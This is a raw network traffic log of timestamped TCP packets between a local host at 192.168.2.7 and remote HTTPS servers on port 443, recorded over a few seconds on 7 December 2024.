Dec 7, 2024 17:37:03.134216070 CET	443	50040	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.136302948 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.136322975 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.136395931 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.136528015 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.136537075 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.140645027 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.140676975 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.140722036 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.140808105 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.140944958 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.140959024 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.140995026 CET	50041	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.141000032 CET	443	50041	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.142622948 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.142664909 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.142738104 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.142821074 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.142836094 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.472270012 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.476140976 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.476223946 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.476308107 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.476330996 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.476344109 CET	50042	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.476347923 CET	443	50042	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.478694916 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.478727102 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:03.478813887 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.478929043 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:03.478935003 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.316560030 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.317140102 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.317154884 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.317579985 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.317584991 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.448035002 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.448335886 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.448360920 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.448719978 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.448730946 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.903198957 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.904231071 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.950916052 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.950930119 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.950973034 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.951008081 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.951098919 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.951116085 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.951127052 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.951267004 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.951297045 CET	443	50043	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.951333046 CET	50043	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.951515913 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.951536894 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.951550961 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.951687098 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.951714993 CET	443	50044	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.951750994 CET	50044	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.953664064 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.953675032 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.953695059 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.953696966 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.953790903 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.953897953 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.953897953 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.953916073 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:04.953974962 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:04.953985929 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.150310040 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.150927067 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.150944948 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.151365042 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.151370049 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.151678085 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.151985884 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.151994944 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.152338982 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.152343988 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.278251886 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.278871059 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.278877974 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.279316902 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.279320955 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.711664915 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.712228060 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.714144945 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.714174986 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.714180946 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.714284897 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.714358091 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.714364052 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.714370966 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.714370966 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.714370966 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.714396954 CET	50045	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.714401007 CET	443	50045	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.717699051 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.717711926 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.717786074 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.717843056 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.717859983 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.717928886 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.718079090 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.718080997 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.718090057 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.718091965 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.830092907 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.833189964 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.833271980 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.833432913 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.833432913 CET	50047	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.833440065 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.833447933 CET	443	50047	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.836055040 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.836091042 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:05.836175919 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.836328983 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:05.836344004 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:06.021343946 CET	50046	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:06.021373987 CET	443	50046	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:06.991435051 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:06.992037058 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:06.992050886 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:06.992583036 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:06.992587090 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:06.995774984 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:06.996134996 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:06.996155977 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:06.996531010 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:06.996535063 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.425506115 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.431668043 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.432439089 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.432517052 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.432557106 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.432564974 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.432573080 CET	50048	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.432578087 CET	443	50048	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.435508966 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.435554028 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.435631990 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.435765982 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.435781956 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.437138081 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.437170029 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.437189102 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.437221050 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.437247038 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.437262058 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.437273026 CET	50049	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.437277079 CET	443	50049	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.440213919 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.440239906 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.440290928 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.440438032 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.440448999 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.505585909 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.505624056 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.506270885 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.506297112 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.506299019 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.506305933 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.506783009 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.506788015 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.506813049 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.506817102 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.565129042 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.565694094 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.565715075 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.566123962 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.566128969 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.943583012 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.946410894 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.946496010 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.946655035 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.946655035 CET	50050	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.946661949 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.946669102 CET	443	50050	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.949539900 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.949568987 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:07.949698925 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.949861050 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:07.949875116 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.012412071 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.012481928 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.012531042 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.012759924 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.012769938 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.012778997 CET	50051	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.012782097 CET	443	50051	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.016042948 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.016062975 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.016124964 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.016288042 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.016299009 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.052742958 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.052759886 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.052815914 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.052846909 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.053076029 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.053091049 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.053098917 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.053201914 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.053226948 CET	443	50052	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.053272009 CET	50052	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.056071997 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.056099892 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:08.056186914 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.056343079 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:08.056360960 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.173733950 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.218139887 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.218173981 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.220616102 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.220623016 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.279927969 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.319480896 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.321233034 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.321237087 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.324834108 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.324839115 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.614622116 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.614686012 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.614794016 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.615004063 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.615016937 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.615025997 CET	50054	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.615034103 CET	443	50054	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.617432117 CET	50059	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.617469072 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.617533922 CET	50059	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.617664099 CET	50059	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.617675066 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.675934076 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.676337004 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.676357031 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.676733971 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.676739931 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.716685057 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.716701031 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.716753006 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.716764927 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.716914892 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.716927052 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.716933966 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.717047930 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.717072964 CET	443	50055	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.717108011 CET	50055	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.718972921 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.718998909 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.719060898 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.719177008 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.719192982 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.732091904 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.732469082 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.732492924 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.732860088 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.732865095 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.798913956 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.799587011 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.799609900 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:09.800004959 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:09.800012112 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.167643070 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.167663097 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.167722940 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.167748928 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.167992115 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.168004036 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.168016911 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.168154001 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.168190002 CET	443	50057	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.168235064 CET	50057	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.171302080 CET	50061	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.171339035 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.171405077 CET	50061	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.171705008 CET	50061	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.171715021 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.271615028 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.271634102 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.271694899 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.271709919 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.271826982 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.271841049 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.271864891 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.271997929 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.272028923 CET	443	50058	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.272074938 CET	50058	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.273981094 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.274013042 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.274077892 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.274195910 CET	50062	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.274205923 CET	443	50062	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.341423988 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.341449022 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.341514111 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.341531992 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.341665030 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.341679096 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.341686964 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.341799021 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.341825962 CET	443	50056	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.341875076 CET	50056	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.343359947 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.343381882 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:10.343445063 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.343542099 CET	50063	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:10.343550920 CET	443	50063	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.216408014 CET	50064	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:37:11.216447115 CET	443	50064	142.250.181.100	192.168.2.7
Dec 7, 2024 17:37:11.216504097 CET	50064	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:37:11.216871023 CET	50064	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:37:11.216888905 CET	443	50064	142.250.181.100	192.168.2.7
Dec 7, 2024 17:37:11.389668941 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.390113115 CET	50059	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:11.390137911 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.390594006 CET	50059	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:11.390599012 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.478097916 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.478707075 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:11.478715897 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.479338884 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:11.479342937 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.825045109 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.825110912 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.825195074 CET	50059	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:11.970705032 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.970761061 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:11.970846891 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:11.998457909 CET	50059	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:11.998466969 CET	443	50059	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.003077984 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.006490946 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.006490946 CET	50060	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.006503105 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.006510973 CET	443	50060	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.008717060 CET	50061	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:37:12.008728981 CET	443	50061	13.107.246.63	192.168.2.7
Dec 7, 2024 17:37:12.009157896 CET	50061	443	192.168.2.7	13.107.246.63
